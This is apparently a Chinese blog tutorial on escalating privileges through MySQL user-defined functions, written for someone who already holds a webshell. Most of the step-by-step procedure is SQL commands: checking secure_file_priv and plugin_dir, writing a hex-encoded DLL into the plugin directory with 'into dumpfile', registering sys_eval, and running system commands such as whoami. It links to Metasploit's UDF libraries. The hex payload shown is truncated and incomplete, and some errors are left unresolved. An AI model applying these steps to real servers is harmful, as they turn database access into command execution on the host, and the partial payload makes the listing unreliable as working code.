mysql-udf提权
Mysql-udf提权
前言:什么是udf?
UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。
背景:MySQL各版本关于udf的概述
从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。
从MySQL 4.1.25开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照4.1.25之前即文件必须位于系统动态链接器的搜索目录中。
在旧版本中,你可以将DLL文件上传到以下位置并创建新的UDF函数。
- @@datadir
- @@basedir\bin
- C:\windows
- C:\windows\system
- C:\windows\system32
- mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
- 但是对于UDF的具体限制,MYSQL的各个版本各有不同。 下面记录一下:
- 听说(只是听说,没做测试),在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。
- 无论这个DLL在什么位置,函数的声明是什么样的。
- 在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,
- 这样就防止了通过MYSQL非法调用系统的DLL。
- 在MYSQL5以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。
- 所以我们将DLL释放到system32目录,来跳过这个限制。。或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。
- 再说MYSQL5.1,这里有个问题相信大家会经常遇到的。。
- 大家有的时候在创建函数的时候,常常会遇到
- Can't open shared library 'udf.dll' (errno: 2)
- 这个错误。可是我们的语句没有写错,DLL也是免杀的或者服务器上根本没装杀软。。
- 好多人这里就不明白了。。
- 这是因为MYSQL 5.1及以后的版本中,又多了一个限制。
- 创建函数时所用的DLL只能放在mysql的plugin目录里面。。
- 而且这个plugin目录默认是不存在的。。挺YD吧,,可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。。
- MYSQL是无法创建目录的哦, 如果into dumpfile的目标目录不存在是会报错的。
下面进入正题
既然是mysql_udf提权,则说明你已经拿到webshell了,那么我们该如何使用UDF呢?
假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下(当MySQL>5.1,该目录默认不存在)。
网上说mysql5.1后面的版本默认不存在lib/pugin目录,但是我实际安装了mysql数据库后是存在该目录的,如下图
在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval('whoami');的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。看一下官方文档中的语法:
测试使用前提:要先把udf.dll导入到lib/plugin目录中,udf下载地址:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
实例用法:
create function sys_eval returns string soname 'udf.dll';
只有两个变量:
一个是 function_name(函数名),我们想引入的函数是 sys_eval。
还有一个变量是 shared_library_name(共享包名称),即 udf.dll 。
至此我们已经引入了 sys_eval 函数,下面就可以使用了。
这个函数用于执行系统命令,用法如下:
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
UDF提权步骤
一:查看 secure_file_priv 的值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。
如果 secure_file_priv 为NULL是不能写入导出文件的。
如果 secure_file_priv没有具体的值,则可以写入导出文件。
secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。
二:查看系统架构以及plugin目录
show variables like '%compile%'; #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录
三:将dll文件写入plugin目录,并且创建函数
可以在Kali中的metasploit模块中找到在该目录下
“/usr/share/metasploit-framework/data/exploits/mysql/”
也可以直接在GitHub上下载,https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll'; #创建函数sys_eval
执行select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; 时有可能会出现以下错误,因为当MySQL大于5.1时,默认是没有 lib\plugin 目录的。而 into dumpfile在写入文件时也不能创建文件夹,所以也就报错了:Can't create/write to file
而在执行 create function sys_eval returns string soname 'udf.dll'; 命令时出现 1126 - Can't open shared library 'udf.dll'的错误。我看网上有的解释是说是因为在MySQL安装目录下默认没有 lib\plugin 目录导致的。但是我不认为是这个错误,因为如果上一步将dll文件写到 lib\plugin 目录没报错的话,说明dll文件已经写到 lib\plugin 目录了,因此也就不存在这个错误。但是目前还没有找到解决版本。
四:使用系统命令
在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了。
create function sys_eval returns string soname 'udf.dll';
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令
参考文章:
https://blog.csdn.net/qq_36119192/article/details/84863268
https://www.freebuf.com/articles/system/163144.html